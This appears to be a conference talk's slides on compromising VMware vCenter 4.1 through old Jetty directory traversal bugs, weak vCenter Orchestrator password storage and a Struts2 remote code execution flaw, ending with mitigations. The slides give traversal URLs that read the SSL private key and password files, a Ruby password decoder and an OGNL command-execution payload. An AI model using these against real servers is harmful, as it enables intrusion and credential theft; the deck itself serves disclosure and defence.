



ERPScan

Security Scanner for SAP

*Invest in security
to secure investments*


How to hack VMware vCenter server in 60 seconds

Alexander Minozhenko






- **Pen-tester at ERPScan**
- **Researcher**
- **DCG#7812 / ZeroNights**
- **CTF**
- **Thanks for ideas and support to Alexey Sintsov**






Target






VMware vCenter Server

- VMware vCenter Server is a solution to manage VMware vSphere
- vSphere – virtualization operating system






- VMware vCenter version 4.1 update 1
- Services:
 - Update Manager
 - vCenter Orchestrator
 - Chargeback
 - Other
- Each service has a web server





CVE-2009-1523

- Directory traversal in Jetty web server
- <http://target:9084/vci/download/health.xml/%3f/../../../../FILE>
- Discovered by Claudio Criscione
- But fixed in VMware Update Manager 4.1 update 1 :(



- Who wants to pay me for 0-days?
- A pen-tester is not a researcher?



Directory traversal... again?

- Directory traversal in Jetty web server
- <http://target:9084/vci/download/.%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..\FILE.EXT>
- Discovered by Alexey Sintsov
- Metasploit module `vmware_update_manager_traversal.rb` by `sinn3r`




- **We can read any file!** But what file to read?
- Claudio Criscione proposed to read vpxd-profiler-* -
/SessionStats/SessionPool/Session/Id='06B90BCB-A0A4-4B9C-B680-FB72656A1DCB'/Username=,,FakeDomain\FakeUser'/SoapSession/Id='AD45B176-63F3-4421-BBF0-FE1603E543F4'/Count/total 1
- Contains logs of SOAP requests with session ID
- VASTO <http://vasto.nibblesec.org/>

Sorry, patched in 4.1!



- Fixed in version 4.1 update 1
- Contains IP addresses






- Make an ARP poisoning attack
- Spoof the SSL certificate



- Administrators check the SSL cert





- Steal SSL key via directory traversal

<http://target:9084/vci/downloads/../../../../../../../../Documents and Settings/All Users/Application Data/VMware/VMware VirtualCenter/SSL/rui.key>

- Make ARP spoofing
- Decrypt traffic with the stolen SSL key
- What if ARP spoofing does not work?




- VMware vCO – software for automatic configuration and management
- Installed by default with vCenter
- Has an interesting file:

C:\Program files\VMware\Infrastructure\Orchestrator
\configuration\jetty\etc\passwd.properties



- Which contains md5 passwords without salt
- Can easily bruteforce using rainbow tables





We get in

VMware vCenter Orchestrator Configuration

Hosts | New VirtualCenter host

VMware Virtual Infrastructure

Available: Enabled

Host:

Port:

Secure channel

Path:

Specify the user credential for the administrator

User name:

Password:

Specify which strategy will be used for management

Share a unique session : Separate session

User name:

Password:



Plain text passwords

```
<!-- Rendering Template: /web-ui/pages/plugin/plugin.jsp -->
▼ <div id="c_content">
  ▼ <form namespace="/config_plugin" id="PluginSave" name="PluginSave" onsubmit="return
    validateForm_PluginSave();" action="/config_plugin/PluginSave.action" method="POST">
    ▶ <p>...</p>
    ▶ <div id="wwgrp_PluginSave_installUsername" class="wwgrp">...</div>
    ▼ <div id="wwgrp_PluginSave_installPassword" class="wwgrp">
      ▶ <div id="wwlbl_PluginSave_installPassword" class="wwlbl">...</div>
      <br>
      ▼ <div id="wwctrl_PluginSave_installPassword" class="wwctrl">
        <input type="password" name="installPassword" value="Password01." id="PluginSave_installPassword">
      </div>
    </div>
  </form>
</div>
```




- vCO stored password in the following files:
- C:\Program Files\VMware\Infrastructure\Orchestrator\app-server\server\vmo\conf\plugins\VC.xml
- C:\Program Files\VMware\Infrastructure\Orchestrator\app-server\server\vmo\conf\vmo.properties



```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<virtual-infrastructure-hosts>
  <virtual-infrastructure-host
    <enabled>>true</enabled>
    <url>https://new-virtual-center-host:443/sdk</url>
    <administrator-username>vmware</administrator-
username>
    <administrator-
password>010506275767b74786b383a4a60be76786474032
9d5fcf324ec7fc98b1e0aaeef </administrator-password>
    <pattern>%u</pattern>
  </virtual-infrastructure-host>
</virtual-infrastructure-hosts>
```



Password encoding

006766e7964766a151e213a242665123568256c4031702d4c78454e5b575f60654b
vmware

00776646771786a783922145215445b62322d1a2b5d6e196a6a712d712e24726079
vcenter

- Red bytes look like length
- Green bytes are in ASCII range
- Black bytes look random



The algorithm of password encoding

```
1  for (int i = 0; i < nbDigits; i++) {
2      int value = 0;
3      if (i < pwd.length()) {
4          value = pwd.charAt(i);
5          // Take i-th password symbol
6      }
7      else
8      {
9          value = Math.abs(rnd.nextInt() % 100);
10         // Take random byte
11     }
12     String toAdd = Integer.toHexString(value + i);
13     // i-th password symbol + position of symbol
14     result.append(toAdd);
15 }
```



Password decoder

```
1 len = (pass[0..2]).to_i
2 enc_pass = pass[3..-1].scan(/.{2}/)
3 dec_pass = (0...len).collect do |i|
4     byte = enc_pass[i].to_i(16)
5     byte -= i
6     byte.chr
7 end
```



- VMware vCenter Orchestrator uses Struts2 version 2.11 discovered by Digital Defense, Inc
- CVE-2010-1870 Struts2/XWork remote command execution discovered by Meder Kydyraliev
- Fixed in 4.2



Example exploit

```
#memberAccess['allowStaticMethodAccess'] = true  
#foo = new java .Lang.Boolean("false")  
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo  
#rt = @java.Lang.Runtime@getRuntime()  
#rt.exec('calc.exe') |
```



- Paleolib – a tool which looks for old and vulnerable third party components
- Get library name, vendor name, version from manifest file or resource section
- Search in CVE database
- <http://www.github.com>



- Directory traversal + ARP poisoning
- Directory traversal + password decoding/bruteforcing
- Remote code execution using the Struts2 bug
- Other bugs in VMware vCenter infrastructure products: Operation Management Suite, CapaciteIQ, Configuration Management etc.



- Update to latest version 4.2 update 4 or 5
- Filter administration services
- VMware KB 2021259
- VMware vSphere Security Hardening Guide



- Fixed bugs are not always fixed properly
- A pen-tester will get more profit if he tries to research something
- A few simple bugs and we can own all the infrastructure



Thank you!



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